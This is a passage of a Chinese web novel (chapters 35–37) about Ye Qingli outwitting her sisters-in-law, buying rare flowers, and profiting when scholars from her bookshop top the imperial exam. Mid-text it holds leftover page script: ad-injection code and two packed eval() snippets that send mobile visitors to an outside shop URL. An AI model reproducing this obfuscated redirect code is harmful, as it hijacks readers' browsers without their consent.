叶青漓看着小腹微微隆起一脸母性光辉的辛氏,又看了眼一脸假笑眼中满是兴奋的郑氏,目光落在两人身后一直低着头保持缄默的申氏,和看着叶青漓欲言又止的于氏身上,嘴角缓缓弯起。 “好啊!这样好的天气,我正好想找人聊聊天呢!” 几人说着,来到花园内的一处凉亭。 丫鬟拿来几个软垫,放在凉亭内冰冷的石凳上。辛氏身后的两个丫鬟不知从何处搬来一扇屏风,为她挡去叶青漓根本感知不到的微风。郑氏身后的丫鬟端上来一套茶具,红泥火炉燃起,一缕茶香很快逸散在空中。申氏没有开口,她身后的丫鬟十分自觉将提前准备好的瓜果点心拿出来,看着就十分甜美。 叶青漓舔了舔唇,目光移向于氏,顶着叶青漓那有些灼热的眼神,于氏也从身后拿出来几个绣篮,依次递给几人。 辛氏从绣篮中取出一件绣工精致的虎头帽,激动地看向于氏,“五弟妹,你的女红果然是最好的,瞧这虎头帽上的老虎,活灵活现的!” 她一边欣赏着,一边也没忘记招呼叶青漓,“大嫂,还愣着做什么,快坐啊!” 看着那个特意为自己准备的软垫,叶青漓可以确定今日这出是有预谋的,不然她日日从这条路回蔚莲阁,怎么这么巧今日碰见她们几个赏花? 此处可不是顾国公府景色最好的地方! 她弯唇一笑,“这就来。” 这一坐下,聊天正式开始,准确来说,是针对叶青漓的围攻。 辛氏一边给虎头帽做着收尾工作,一边装作不经意地问道:“大嫂这是刚从府外回来?” 叶青漓:“嗯。” “大嫂,不是我说你,虽然大哥上山做道士,可自你二人成婚后,他待在府中的时间,比之前那十年加起来都要久。大嫂很该将整日玩乐的心思收一收,趁着大哥在府中时努把力,不说立刻怀上孩子,起码要让大哥离不得你啊!” 叶青漓:“?” 辛氏的话说得还是委婉了,见叶青漓一脸疑惑似乎没有听懂,郑氏先是往周围悄悄望了一眼,确认这里都是她们的人,才偷偷摸摸地凑到叶青漓面前。 “大嫂,我听说母亲要给大哥纳妾的事情了!” 于氏悄悄举起手,“我,我也听说了。” 申氏虽然没开口,也是一脸关切地看着叶青漓。 “哦。” 原来今日这一出是为了这件事。 搞明白几人的目的,叶青漓放下心来,将红泥炉子上的茶壶取下,给自己泡了一盏茶。 见她无动于衷的样子,郑氏不由得有些着急,“大嫂就真的一点都不急?你本就是换亲嫁进顾家的,若是将来那个妾室进门,这府里哪里还有大嫂的位置?” 叶青漓轻轻吹了口气,吹散茶汤上氤氲的雾气,看着茶碗中打转的茶叶,十分淡定,“我急什么?那妾室进门还要几个月的时间,而且夫君一直住在白云观,她进府后,两人说不定连见面的机会都没有。” 她的这份淡定看在几人眼里却是故作坚强。 郑氏更是毫不留情戳破叶青漓的‘自我催眠’,她轻轻勾起嘴角,语气颇为不屑,“大嫂真是这么认为的?要知道男人可都是一个货色,当着你的面说只爱你一个,转过身就能对着其他人搂搂抱抱。别看大哥平日里风光霁月的,他曾经说过一辈子不会娶妻,最后不还是让大嫂进了门?旁人说要休妻他还不肯!” 郑氏眼底讽刺愈浓,“母亲这么着急让那妾室进门,那人必定有她的过人之处!到时候,若大哥对那女子动了心,大嫂又没有娘家做靠山,岂不是只能给那妾室让位置?” 郑氏说得斩钉截铁,仿佛已经看见了叶青漓争宠不过,被顾家扫地出门的样子。 辛氏闻言眸底多了几分轻蔑。 从叶青漓嫁给顾承宴的那一刻起,她和叶青漓就是水火不容的关系。在叶青漓提起过继一事后,她更是恨毒了叶青漓,如今母亲要给顾承宴纳妾,她倒是要看看这个大嫂地位不保的时候,还能不能这么淡定! 于氏听着郑氏的描述,拿起手帕掩住嘴角,没再开口。 申氏更加安静,若不是她正坐在叶青漓对面,叶青漓都要以为今天这场聚会里没她。 叶青漓颇为无奈耸了耸肩,“着急有什么用?公爹和婆母都是夫君的长辈,他们给夫君纳妾也是为了夫君好,夫君子嗣一日不丰,我身为他的妻子,便一日不能拒绝。” “可是大嫂才进门多久?啧啧,才两个多月。便是怀孕了,恐怕也诊不出来喜脉,母亲实在有些太心急了!”辛氏一脸心疼地看着叶青漓,表面上是在替她说话,话里的讽刺却浓得几乎要溢出来。 得益与辛氏的努力,府中人在叶青漓大婚第二日就知道两人没有圆房,这么久过去,她和顾承宴也没有进展,这个‘无法诊出喜脉’难道只是两个月时间太短的问题吗? 辛氏说罢,意识到自己话中不妥,有些不好意思地捂嘴偷笑,“大嫂真是不好意思,我只是为你不值,不是故意提起此事的。” 郑氏却不像辛氏一般装模作样,她嘴角挂着幸灾乐祸的笑,看着叶青漓的眼中也全是丝毫不加掩饰的鄙夷。 申氏听罢这话就将头埋得低低的,谁的话也不接茬。 于氏见叶青漓脸上没了笑,忙一脸着急地向叶青漓道歉,“大嫂,三嫂向来说话没有轻重,大嫂千万不要生气……” 叶青漓掀起眼皮看了她一眼,拿起桌上的糕点吃了起来,“我不生气。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她是真的不生气! 她知道顾承宴不行,且两人并无情意,自然不会对他有那种想法。至于妾室,上一世她见惯了沈仕楣乱糟糟的后院,有的是对付妾室的力气和手段!只要那姑娘能够安安分分的,她也不会将那姑娘怎么样!再说这顾国公府大少奶奶的名头,她也不是很在意,反正她不打算在这待一辈子! 她只是觉得在这里和她们嘴皮子打仗有点烦。 几人你一句我一句往叶青漓的‘伤心处’戳,叶青漓却像个没事人一样,吃着一块又一块糕点,甚至还有心情点评。 “二弟妹,这糕点是你做的吧?手艺真好,比我在好食斋买的还好吃!对了,你会不会做桂花糕,有时间教教我吧!” 申氏骤然被问起糕点,愣了一瞬,忙回复道:“大嫂爱吃桂花糕,以后我教你就是。” “那就谢谢了!” 叶青漓吃着糕点,又喝下一杯香茶,眯起眼睛的模样简直不要太满足! 辛氏瞧见叶青漓这副假装平静的样子就来气,自己今日叫上叶青漓一起聊天,是想看她因为妾室进门,忧心焦虑痛苦不已的表情,可不是真的让她来吃东西的! “大嫂,你还没说那妾室进门的话你要怎么做呢?” 叶青漓把玩着茶盖撇去茶沫,“能怎么办,让她进府呗!” 郑氏转悠着眼珠子,“那若是她得了宠爱……” 叶青漓没了耐心,忽然抱头哀叹一声,心如死灰般说道:“那我这个大少奶奶的位置就要让给她坐了!”哀泣的声音传出来,就像是叶青漓终于被她们击溃防线,控制不住哭起来。 郑氏和辛氏相视一笑,露出得意的表情。 申氏微微皱着眉,张了张嘴,到底没说什么。 于氏放下手中绣品,抬手拍了拍叶青漓的肩,“大嫂,你别伤心……” “我不伤心!” 叶青漓忽然坐直了身子,脸上连滴眼泪都没有,瞬间看得几人目瞪口呆,她狡黠一笑看向几人,“我比较替你们担心!” “?” “公爹和婆母担心夫君的子嗣问题才给他找妾室,府中除了三弟妹正有身孕,其他人都是膝下空空。若是哪天婆母想起其他人,也许会像对我一样,好心替你们添一位妹妹。”叶青漓的目光一一扫过几人,除了辛氏,几人都不约而同低下头。 申氏和于氏与各自夫君感情不错,却也担心对方抵不过长辈的‘恩赐’。 郑氏则是瞬间黑了脸,顾承浩本就是个花心的,两人院子里好几个通房现在还让郑氏闹心不已,如果有一天赵氏要为顾承浩纳妾,那个色胚一定第一个举双手赞成! 辛氏挺着肚子一脸有恃无恐,叶青漓却冷笑起来,“不对,三弟是婆母亲子,婆母定然最关心他的子嗣问题,如果三弟妹这一胎是女孩,恐怕……” 辛氏瞬间白了脸! 叶青漓将几人惶然的样子尽收眼底,塞下最后一个糕点,才掰着手指道:“我和夫君成婚时日短,情意尚浅,将来无论是贬妻为妾还是我自请下堂,都还不算太难接受。几位弟妹嫁进来少则两年,多则五六年,若是将来婆母为了子嗣塞进来一个妾室,啧啧……” 一声‘啧啧’后,凉亭内陷入死一般的沉寂! 直到红泥火炉里的木炭烧得噼啪作响,沸腾的热水顺着壶嘴一涌而出,看着那小小的壶嘴不停流出来的热水,几人同时达成共识: 绝不能开纳妾这个先例! 35. 百花园 这场聊天之后众人收获颇丰。 申氏和夫君感情好,回去直接问起可会纳妾,得到顾承平断然否决后放下心来。 郑氏一反常态,不再和顾承浩因为几个通房成日争吵,反而有些鼓励院中通房陪顾承浩休息。平日里的母老虎忽然变成软脚猫,贤惠得像变了个人。 顾承浩开心了两天,咂摸出不对劲,闯进郑氏的房间慌里慌张地询问她是不是得了什么重病? 郑氏暗惊原来事情还能这么办,幽幽开口叫着头晕,便让顾承浩成功留宿。 于氏和夫君感情也不错,可她性子委婉,做不来申氏那般直接,只能尽力在顾承泰面前展现自己的温柔贤惠,待两人情至浓时,得了一句永不纳妾的承诺,才算满意。 几人不过短短几天功夫,就在自己夫君这边将纳妾的隐患消除,辛氏却做不到如此高效率。 现在她怀有身孕,赵氏为了自己腹中胎儿安稳着想不会给顾承卓纳妾,可万一自己真的如叶青漓所说生下女儿,赵氏还会无动于衷吗? 辛氏深知顾承卓和赵氏对顾国公府家业的重视程度,正因如此,她才越发认同叶青漓的话! 顾家家业是需要继承的,万一自己生不出男孩,夫君必会纳妾! 顾承宴是个不近女色的,叶青漓容色绝艳,与他同一屋檐下一个月都没有碰她一下,难道赵氏随便弄来一个女人他就会同意了? 以辛氏对顾承宴的了解,知道这是赵氏为他准备的妾室后,他估计会直接将人赶出覃竹园。 为什么给大哥纳妾要提前几个月开口?又为什么明明是给大哥纳的妾室,进府后却不住覃竹园而是由赵氏安排?这一桩桩一件件难道还不明白吗? 到时候,自己这边没了指望,又有一个如花似玉,家世清白的姑娘住在府里,赵氏要给顾承卓纳妾必然优先选她!!! 思及此处,辛氏的脸狠狠白了下,她大口喘着气,一下又一下摸着肚子安抚自己的情绪。 “来人呐!” “少奶奶。” “去找母亲身边的婆子们问问,母亲给大哥找的妾室是何方人物?” “是。” “慢着,你记着悄悄地问,不要惊动了母亲。” “是。” 叶青漓上一世做了十多年的主母,自然知道她说的那几句话,会给府中这几位膝下尤空的女子带来多大的惊慌。 听完采莲收集到的消息后,叶青漓笑眯眯做出总结,“慌点好啊!心慌了人才会忙,她们一忙起来就不会闲的没事到我面前来看笑话。” 采莲脸上也挂着笑,“奴婢前几日还生气呢,婆婆给儿子纳妾,做儿媳的总是最难过。几位少奶奶都和小姐是一样的处境,却还凑在一起来看小姐笑话,实在可恶!” “现在好了,轮到她们自己担心了,看谁还敢看小姐的笑话!” 采莲傲娇地冷哼一声,眼底是说不出的满足。 叶青漓见了,摇头失笑,“其实让她们看笑话我是不介意的,只是她们想看我伤心流泪,惊慌失措的样子,又翻来覆去就那么两句词。我实在是没心情陪她们演,只好给她们找点事干了!” 叶青漓对着镜子将一副珍珠耳坠戴好,回头笑问,“好看吗?” “嗯,好看!” “那咱们走吧!” 这次出门,叶青漓不是去看账本,也不是去逛街,而是带着采莲出了城,来到一处庄园。 庄园的主人看见顾国公府的马车后,脸上已准备好微笑,马车临近后,他朝着叶青漓拱手道:“小的见过夫人,东西已经备下了,夫人直接往里走就行。” “嗯,有劳莫掌柜!” “不敢,不敢。” 马车缓缓驶入庄园内,到了目的地后,二人下了马车,看见庄园内花团锦簇,蝴蝶飞舞,采莲瞬间惊讶地合不拢嘴。 “这,这才初春,大街上还有积雪未化,府内有人打理的花园也不过才发了芽,这里的花竟能开得这样好?” 莫掌柜闻言颇有些骄傲地抬起头来,“姑娘有所不知,我这百花园在建立之初便设置许多暗道,每到冬日就会有人接连不断地生着火,滚滚热烟顺着烟道将花圃包裹,达到温暖如春的地步,这才有你现在看见的百花争艳啊!” 采莲下了马车后,是感觉到此地比其他地方更加暖和些,可是看着一眼望不到尽头的庄园,采莲更加震惊了,“一个冬天都不断火,那该烧掉多少柴呀?” 顾国公府也不过是在几个主子的院子里埋了地龙,其他地方都是烤火炉过冬的,这花圃这么大,该是何等的财力消耗? 莫掌柜闻言笑了笑,“正因如此,我这百花园才成了京城的独一份,有时候就连宫里的娘娘也会特意派人来我这买花!” “买花?” 采莲的注意力从一开始的冬日供暖到短暂被宫中娘娘吸引,最后落在买花二字上。 她惊讶地看着叶青漓,“小姐不是说是来赏花的吗?怎么还要买?这里的花养得如此娇贵,不知卖价几何?” 莫掌柜似乎对于这个问题已经见怪不怪,闻言至淡定地伸出两只手。 “十两?!” “是十倍!” 采莲大惊失色!!! 顾及这是在别人的地盘上,她刻意压低了声音,轻轻拽动叶青漓的衣袖,“小姐,这的花太贵了,要不咱们还是算了吧,等几个月的功夫自然就有花可看了!” 殊不知,这里就他们几个人,她说的话早就被莫掌柜轻易听了去。 “外面的花如何能与莫掌柜精心培育的相比?”叶青漓给了采莲一个安心的眼神,随即看向一旁假装听不见的莫掌柜,“莫掌柜,你之前与我提到的花在哪?” “夫人请随我来。” 莫掌柜将两人带到一处明显比门口的花更加艳丽的花圃后,便先离开了。 庄园内幽静迷人,偶有两只蝴蝶在花丛这嬉戏,落在五颜六色的花朵上绚丽迷人,清甜的香气汇聚成一股独特的味道飘入鼻尖,馥郁芬芳。 采莲深吸了一口气,又伸了个懒腰,“小姐,这里真的好美,花好看,景好看,就连飞舞的蝴蝶也那么好看!” 叶青漓正将手中两株红色的花放在一起对比,闻言回头冲她笑了笑,“你不觉得这里的花贵了?” 采莲僵了动作,重重点头,“贵还是贵的!” 即使采莲现在跟在叶青漓身边,每日看着她花钱如流水,依旧觉得用十倍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958290|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价格来买花,实在太贵了!更何况采莲还在这花圃里看见了之前在泾阳侯府见过的花,她记得当时泾阳侯夫人说过那些花很名贵,想来价格不菲,若是再翻上十倍,简直是天价! 采莲望着这片价值千金的花圃,忽然有些疑惑,“小姐怎么忽然想起要买花了?” 叶青漓确定了要买的花,采下一朵别在了采莲头上,“买花能叫人心情好啊!来,笑一个!” 采莲如她所愿扯了扯嘴角,心里却不自觉琢磨起叶青漓的话。 买花能叫人心情好,所以小姐现在心情不好?小姐为什么心情不好?难道还是在为大公子纳妾烦恼? 采莲脑中亮光一闪,意识到自己可能猜中叶青漓的心事! 再看向叶青漓时,她眼底染上几分难过,明明小姐是那么好的一个人,为什么却要受到这种对待? “傻丫头,想什么呢?” 叶青漓看采莲扯着嘴角走神,将手上剩余的花瓣碾碎了,涂在采莲脸上,方才还白白净净的小丫头瞬间红了脸框。 采莲感觉脸上湿湿的,抬手一摸看见一抹红色,立刻气得跳脚,“小姐!你怎么能把这东西涂在我脸上呢?” 她刚才可瞧见有人在施花肥! “哈哈哈!谁叫你跟我说话走神,有本事你也来涂我啊!” “你,小姐你给我等着!” 采莲二话不说,撸下自己头上的大红花,揉碎了就往叶青漓扑来,两人在花丛间嬉戏打闹,疯玩了半天,才玩得尽了兴。 莫掌柜也很是识趣,两人在花丛这嬉闹的时候没有出来阻拦,一直到两人玩累了,出来结帐的时候,才将算盘打得霹雳作响。 “夫人看中的花是一百二十九两,另外您二位压倒的那片花丛价值一百七十七两,一共是三百零六两。” “什么?!” “没问题,结帐。” 白花花的银子到手,莫掌柜的嘴角轻轻勾起,“欢迎夫人下次再来!” 采莲还没看清算盘上的数,叶青漓就把银子交出去了,坐上马车后,采莲后悔地直咬牙。 “早知道奴婢就不与小姐闹得那么疯了,白花了好些银子!” 叶青漓却不这么认为,“银子赚了就是用来花的嘛,以后再赚回来就是了。京城美丽的景色是多,如百花园这般的可是独一份!银子花得值就好了,再说咱们刚才不是玩得挺开心的!” 采莲还要说什么,张了张嘴又忽然顿住,“小姐刚才玩得真的开心吗?” 叶青漓眨了眨眼,不明所以,“开心啊!最后不是我在上面了吗!” 采莲:“……” 好吧,只要小姐能开心,这些银子花了就花了吧! 叶青漓尚且不知道采莲的小脑袋瓜里在想什么,把从百花园买来的花带回顾国公府后,她立刻找人修建了一座暖阁,专门用来养活这些娇贵的花。 这日之后,叶青漓每日侍弄着花草,竟也不怎么出门了。 纳妾一事赵氏说过一次后便再未提起,府内其他人忙着维护自己的小家,也没闲心来找叶青漓麻烦,那位远在京城之外的妾室也不知上路了没有。 采莲就这样数着日子,转眼就是二月初九,春闱即将开始。 36. 春闱 今日是春闱的大日子,叶青漓特意起了个大早,带着采莲烧香拜佛。 采莲看着叶青漓忽然敬拜起神明,觉得十分奇怪。 “小姐,大公子又没有参加此次科举,您求什么啊?” 叶青漓缓缓将香插上,双手合十,念祷祈文,双眸虔诚,“当然是求我财源广进了!” 采莲:“……” “你也别闲着,过来拜拜,你弟弟不是也在读书?你拜得神明高兴了,说不定他以后就能考个秀才回来!” “小姐你就别提他了!那个臭小子别在书院惹出事来,我就阿弥陀佛了!”采莲嘴上这么说着,手脚还是很麻利地接过香烛,对着面前的文曲星拜了拜,才稳稳插上。 转过身来,对上叶青漓带笑的目光后,她立刻看向窗外,“小姐,时辰不早了,这会考试应该开始了吧?” 叶青漓顺着她的目光向窗外看去,天色已经大白,日光凌空而照,偶有几只鸟雀飞过,其势威猛,直上云霄。 “嗯,希望这些人都能心想事成!” * 自古以来,考试对人们来说都是一件大事,对于南朝的这些学子来说亦是。 甄良义和几个交好的学子从住所出发,背着行囊就来到考场门口,由于之前发生科举舞弊一案,此次检查的流程格外严格。众人在门口排了好长的队,才终于进入考场内。 几人各自拿到自己的号牌钥匙,互相看了一眼。 甄良义朝身边两位同伴拱手示意,“咱们在此分别,祝愿诸君考试顺利!” “心想事成!” “金榜题名!” 考场的大门渐渐关上,寒窗苦读十多年的努力,即将在今朝检验出结果! * 叶青漓每天带着采莲在屋里求神拜佛,直把采莲熏得眼冒金星。 “小姐从前也不是这么信神的人,怎么为着几个学子,竟这样努力?” 叶青漓依旧双手合十,虔诚地将最后一炷香插上,才敲了敲采莲的头,“你家小姐书铺以后生意如何,全指着这一次科考了,自然要重视!” “是吗?” 采莲摸了摸不算疼的脑袋,满眼不解,“我觉得咱们书铺的生意挺好的呀!那些学子时常来抄书,省了咱们好些成本,来的读书人多了,买书的人也多了,这生意还愁不好?” 叶青漓看了她一眼,无奈地叹了口气。 书铺目前的情况,只能说是小赚,距离达到自己生意火爆的目标还差远了! 不过,也快了! 考试的时间一晃而过,考生们一个个从考场上出来都神色恹恹。无他,考场里吃不好,睡不好,还要绞尽脑汁完成试题,任谁这样过了几日都是这副模样。 甄良义几人也是如此,看着大家都狼狈不已的样子,他不由失笑,“真希望这是咱们最后一次考试,不然再来一次,我恐怕就要脱一层皮了!” 两人明白他这是在活跃气氛,闻言也笑呵呵看着他。 “甄兄说得有理!还是一次就中最好!” “哈哈哈哈!” 几人说着,结伴回到落脚的地方,倒头就睡。 休息一晚恢复了精神后,众人便开始百无聊赖的等待。 考试结束,考官们便立刻着手批卷,只是礼部官员毕竟有限,考生数量众多,想要全部批完,少说也要几日时间,这段时间对所有考生来说也是一个折磨。 有人甚至在出了考场后就认定自己考砸了,当即抱头痛哭起来,之后更是连榜单都不敢看,连夜离开京城。 甄良义看见他这番行事,心有戚戚,他想了想,向两人提议道:“左右闲着也是闲着,不如咱们还是去三甲书铺,那里的书还有许多我未看懂,找点事做打发时间,也比在这漫长的等待中消磨掉自信要好!” 两人闻言,亦觉得他的话有道理,随后结伴来到书铺。 曹掌柜见几人又来了书铺,心中奇怪,上前询问一番才得知缘由,不由得赞叹。 “几位真是好心性,考完之后还能有心情来书铺学习。想当初老夫考完试,出来后整日惶惶不得安眠。最后结果出来,果然没中!” 曹掌柜说话时脸上带着浅笑,语气中没有之前的无限遗憾,如今他在三甲书铺做着掌柜,日子充实又有趣,科举失败的伤痛已经在他心里淡了。 他看向几个年轻有为的少年,送上最真诚的祝福,“几位也是咱们书铺的常客了,我在此先祝几位金榜题名!接下来几天几位自便即可。” 时间过了一天又一天,就在叶青漓等得有些不耐烦的时候,终于到了放榜的日子。 这一日,京城的大街小巷都有人在讨论着考试结果,有人甚至提前下了注,押自己看中的考生能够榜上有名。贡院门口,早就被马车人流挤得水泄不通,到处都是来看榜的人。 有人在榜上看见自己的名字,人群中立刻发出一阵惊呼声,对着他连连祝贺,也有人找了半天都没看见自己的名字,怅然若失悄悄离开了人群…… 甄良义的同伴原本也打算去贡院门口亲自看自己的成绩,临出门前却被大街上车水马龙的景象惊呆了。若是他这样走去贡院,恐怕鞋都走掉了,也看不见成绩。 甄良义看了眼外面的人群,又看了眼面前的好友,说道:“不如,咱们还是去三甲书铺吧!若是咱们中榜必然会有人通知咱们,若是没中,留在书铺多看会书也是好的。” 两位同伴闻言也觉得一些道理,便跟着又来了书铺。 曹掌柜听说三人来意,再次热情欢迎,顺便派人去贡院门前看榜,就连叶青漓也派了好几人去打探消息。 不一会儿,曹掌柜的人回来了。 一个身穿三甲书铺工作服的小伙计,倒腾着两条飞毛腿一路冲进书铺,直扑到曹掌柜身前。 “中了!中了!掌柜的中了!” 二楼看书的三人听见动静瞬间放下手里的东西,飞奔似的下了楼。 只见曹掌柜正用力将扒在自己身上,激动得脸都红了的伙计扯开,一脸嫌弃,“话都说不清楚!到底是谁中了?” “中了!都中了!三位公子都中了!” “真,真的?!”曹掌柜闻言瞬间瞪大了眼睛。 哪怕他一直听叶青漓夸赞三人文采斐然,此次科考必有收获,可他也不敢百分百保证这三人一定会中。如今听见这消息,他竟是表现得比考试的三人还要激动! 甄良义几人闻言,一直提着的心也终于放了下来,三人相视一笑,眼底都是高兴。 “老天爷,你可真没跟我开玩笑,都中了?!” “是的,都中了!几位公子名次还很好呢!” “你快说说,是第几名?” “甄良义,一甲第一名;廉文轩,一甲第二名;詹德义,一甲第三名;……;沈仕楣,二甲第五十六名;……;叶嘉伦,二甲第一百六十一名;…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972668|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”陈阿桥依次将自己誊抄的名次报出,待说完最后一人的名字,已经是口干舌燥。 “辛苦你了,跟着先生读了这么久的书,如今也算是有进步!”叶青漓满眼赞赏,“快喝些水润润嗓子吧!” “谢小姐!” 采莲给阿桥倒了杯水,来到叶青漓跟前道喜。 “恭喜小姐,咱们书铺要生意兴隆了!” 叶青漓看了她一眼,嘴角的笑还是没压住! 哪怕叶青漓因为上一世一直辅助沈仕楣做官,清楚地记得这一届大多数中榜考生的名字,不到最后她也不敢确定自己押宝押对了,尤其这一世更比上一世多出一个科举舞弊案这样的意外。 现在看来,哪怕没有前世的经验,她的眼光也还是不错! 陈阿桥刚刚所报的中榜进士三百六十人:一甲三人,二甲一百八十三人,三甲一百七十四人。处于一甲的甄良义和另两人,都是叶青漓早就看好的,二甲中只是来过三甲书铺的有不下三十人,有五人曾得过书铺照拂,三甲之中更甚。 这一次,她简直是赚大发了!!! 三甲书铺内,曹掌柜听完三人的名次后,一时竟怔愣在原地,不知该作何反应。 小伙计抬手在他面前晃了晃,张嘴想要嘲笑他,余光忽又瞥见站在他身后的三人,也全都跟石化了一半,目光呆滞地站在原地,没有动弹。 他们愣在原地,正在书铺看书的客人们却不是聋子。 闻听今科前三甲都在这书铺内,立刻有人上前想要与之攀谈。曹掌柜还没反应过来,人已经将三人拦在身后。 “恭喜甄相公!贺喜甄相公!甄相公中了一甲第一,有没有收徒的意愿啊?我今年三十,正值壮年,学东西也快,甄相公考虑考虑我啊!” “对对对!恭喜三位!廉相公,詹相公若是想要收徒,也可考虑考虑我,我才二十八,比他年轻多了,而且,我家里有钱!束脩多少我都愿意交的!” 三人各个表情严峻,被曹掌柜瘦弱的身躯护在楼梯口上,看着围成一团几乎要扑上来的人们。 就连刚才报消息的小伙计也冲到前面挡着激动得有些疯魔的人群。 偏在此时,一个体态圆润的老爷挤进人群,套着翠绿色扳指的大手将身旁的人都扒拉到身后,冲到最前面,冲着三人笑成一朵菊花。 “我瞧三位相公都是少年英才,不知可有婚配啊?小女年芳二八,家有钱财万贯,若三位不嫌弃,可……” “哎,我有个妹妹……!” “我有个表姐……!” “我三舅家的表姨也还未婚,长得那是国色天香……!” 人群争论的话题忽然变了,三人尴尬地你望望我,我望望你。 曹掌柜时刻谨记这三人是叶青漓的王牌,偏过身子小声道:“二楼书架拐角有个窗户,几位相公不如先从那出去吧!” 三人何时见过这种场面,得了指点,连忙转身就要离开。 甄良义抬步跨上台阶时,被身上衣服的暗纹闪了眼睛,曾经放下的豪言壮志浮现于脑海,他停下脚步,转过身来对着众人道:“甄某学问平平,是在三甲书铺学习三个月才有今日之功,诸位若有疑问,尽去问这里的曹掌柜吧!” 说罢,他继续往二楼走去,而楼梯口的人们,得了话音连忙将‘凶恶’的目光转向曹掌柜。 “掌柜的,可收徒……?” “掌柜的,可娶妻……?” 37. 会员 曹掌柜被淹没在客人之中,一街之隔坐在马车里的叶蕙珠看着三甲书铺热闹非凡的场景,秀丽的脸庞上尽是嫉妒,手心也忍不住紧紧攥起。 “咦?那不是三甲书铺吗?我之前还曾来这看过几次书,可惜后来他们家铺子出了问题,没想到不仅至今没有倒闭,还生意红火!” 沈仕楣已经得知自己中榜的消息,此刻心情大好,哪怕是看着从前让他避之不及的书铺也能笑着说上两句。 “对了,娘子,此次中榜是大喜事!”他满脸笑容,一身春风得意的轻快,“娘和大哥二哥这些年为了供我读书,吃了不少苦,如今我终于学有所成,是该好好回报他们了。咱们回去之后好好庆祝庆祝吧!” 他一边畅想,一边问询叶蕙珠的意见,毕竟如今沈家大部分的开销都是叶蕙珠提供的,要想办一个热闹的庆功宴,必也得先得到叶蕙珠的同意。 叶蕙珠背着他,听着他这番蠢而不自知的话,悄悄翻了个白眼,不过是二甲五十六名,有什么可值得高兴的! 她本以为这一世,自己嫁给沈仕楣,请了父亲时常为他解惑,再有自己下重金请来先生指导,沈仕楣哪怕考不来状元,也得是一甲中的一员! 怎料他竟这样不中用?都快到了二甲的末尾,还在沾沾自喜,名次甚至不如他上一世考得好! 说起来,叶蕙珠本不该记得沈仕楣上一世的名次的,毕竟上一世她嫁进顾国公府,是尊贵的顾国公府大少奶奶,早就与这些还要靠科举改变命运的穷小子不是一路人。 只是当初她不喜父亲新认下的义女,便派了人悄悄关注。得知沈仕楣不过考得二甲第三十名,拿到叶青漓面前狠狠地嘲笑了一番。 当初自己说过的话,叶蕙珠还记得清清楚楚。 “什么身份的人就要配什么身份的生活,别以为哄了父亲认作义女,就可以攀上枝头变凤凰,也别以为那小子考了个二甲三十名,你就能出人头地了!我告诉你,下贱的人注定一辈子下贱!” 这些话,现在的叶青漓不记得,可是叶蕙珠却是一字都没有忘记! 当初用来嘲讽叶青漓不知天高地厚的话,现在却如同一个个响亮的巴掌一样,落在自己的脸上,火辣,刺痛! “娘子?你觉得这样不好吗?” 沈仕楣似乎察觉到叶蕙珠的失神,小心地看着她的表情,脸上升起一抹失落,“是不是我名次太低,娘子不开心了?” 叶蕙珠闻言忙收起一脸怨憎,“当然不是!” 她温和看向沈仕楣,“家弟自幼听着父亲的教诲,身旁还有那么多同窗的帮助,如今也不过是个二甲末尾。夫君仅凭自己一人之能却考中进士,我怎么会不开心呢?” “我刚才只是在想,回去后该怎样办这一场庆功宴,该不该告诉母亲请她们来同乐?” “别看嘉伦年纪不大,心眼却小,若是我送了请帖回府,知道你考得比他好,他未必高兴!” 听见叶蕙珠将自己和礼部侍郎之子相对比,且自己远远强于他,沈仕楣眼底划过一抹得意。 看向叶蕙珠时眼中更添了几分满意,说起话来也是大度非常,“这样的大事,自然该请嘉伦来,不过,若他心底不爽不愿来,我也是能理解的,大家都是一家人嘛!” 沈仕楣轻轻牵住叶蕙珠的手,满眼幸福地望着她,“这些日子多亏了娘子对我的帮助,若不是你,我也不会有今天金榜题名。” “娘子,你辛苦了!” 沈仕楣说得真情实意,望向叶蕙珠的眼中也饱含深情,明明应该是十分动人的时刻,叶蕙珠耳旁却只有一街之隔的哄闹。 “哎呀,曹掌柜,你这铺子里竟然连李大人的博弈论都有!他可是出了名的才不外传啊!” 曹掌柜挺着背,将头抬得高高的,一脸风轻云淡,“这有什么,我们东家本事大,自然就能弄来。” “哎呀呀,不得了!不得了!你们快来看,这还有蔺相的亲笔议题,虽然是看着字迹稚嫩了些,但也确实是亲笔啊!” “掌柜的,这本书我买了!” “这是我们东家偶然得来,只能在书铺借阅,不可带走!” “掌柜的,你别这么小气嘛!我出三十两!” “我出五十两!” “我出六十!” 竞争越来越激烈,曹掌柜胡须下的嘴角都笑弯了,面上还是一副公事公办的表情,“东家说了不卖,就是不卖!” “哎呀,你们家东家也太不会做生意!” “就是啊!” “哎,那个书架上的是什么?” 有人望向一处放得更加偏僻的书架,相比其他地方摆得满满当当,这一列上面的书实在不多。那人伸出手,正要去拿,忽然一个身影闪现挡在他面前。 “不好意思,我们掌柜的说了,这个书架上的书,只有咱们书铺的尊贵客人才能查阅,这位客人,您不符合这个条件,抱歉。” “尊贵客人,你这是什么意思?难道我牛大力家财万贯,还不够尊贵吗?”男人袖子一撸,显然对这句话十分不满。 